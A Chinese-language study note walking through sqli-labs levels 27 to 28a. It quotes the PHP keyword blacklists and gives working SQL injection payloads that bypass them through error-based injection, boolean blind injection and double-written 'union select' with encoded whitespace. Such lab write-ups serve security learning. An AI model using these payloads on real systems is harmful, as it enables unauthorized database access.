sqli-labs靶场通关笔记:第27-28a关 union、select过滤
第27关 union、select过滤
又加上了对select、union的过滤,看下源代码。
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); // 移除斜杠和星号
$id= preg_replace('/[--]/',"", $id); // 移除双连字符(SQL注释符号)
$id= preg_replace('/[#]/',"", $id); // 移除井号(SQL注释符号)
$id= preg_replace('/[ +]/',"", $id); // 移除空格
$id= preg_replace('/select/m',"", $id); // 多行模式下移除select(区分大小写)
$id= preg_replace('/[ +]/',"", $id); // 再次移除空格
$id= preg_replace('/union/s',"", $id); // 单行模式下移除union(区分大小写)
$id= preg_replace('/select/s',"", $id); // 单行模式下移除select(区分大小写)
$id= preg_replace('/UNION/s',"", $id); // 单行模式下移除UNION(全大写)
$id= preg_replace('/SELECT/s',"", $id); // 单行模式下移除SELECT(全大写)
$id= preg_replace('/Union/s',"", $id); // 单行模式下移除Union(首字母大写)
$id= preg_replace('/Select/s',"", $id); // 单行模式下移除Select(首字母大写)
return $id;
}
可以采用大小写混合绕过和双写绕过。
但是有的情况不一定生效,所以用其他办法也可以,这里直接报错注入。
?id=1'||updatexml(1,concat(0x7e,database()),3)||'
第27a关 过滤union、select后的双引号闭合布尔盲注
没有具体报错回显,使用布尔盲注。
?id=1"%0band%0blength(database())>7%0band "1"="1
第28关 union、select的优化过滤
查看源代码,相比27关对代码进行了优化精简,移除了单个关键字过滤,修改为union、select组合过滤,优化了正则表达式,使用了 /i(不区分大小写),\s(匹配任何空白字符)修饰符
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); // 移除斜杠和星号
$id= preg_replace('/[--]/',"", $id); // 移除双连字符
$id= preg_replace('/[#]/',"", $id); // 移除井号
$id= preg_replace('/[ +]/',"", $id); // 移除空格字符
//$id= preg_replace('/select/m',"", $id); // (已注释)移除select关键字
$id= preg_replace('/[ +]/',"", $id); // 再次移除可能出现的空格
$id= preg_replace('/union\s+select/i',"", $id); // 移除union和select组合(不区分大小写)
return $id;
}
28关代码通过组合检测和简化规则提高了效率,但相比27关代码可能降低了防护全面性。例如,28关代码无法防范单独使用 select 或 union 的注入,而第一段代码对这些情况有专门的过滤。
思路是双写绕过(本关不能使用报错注入,无报错回显),代码如下:
?id=0')%0aununion%0aselection%0aselect%0a1,database(),3%0aand('1
?id=0')%0aununion%0aselection%0aselect%0a1,database(),3%0aand('1
%0a替换空格,代码会移除union select组合,这样前面的un和后面的ion select就会被拼接成union select语句而产生注入。
第28a关 仅过滤union select组合的注入
看代码,这一关只保留了对union select组合的过滤,直接双写绕过。
?id=0') ununion selection select 1,database(),3 and ('1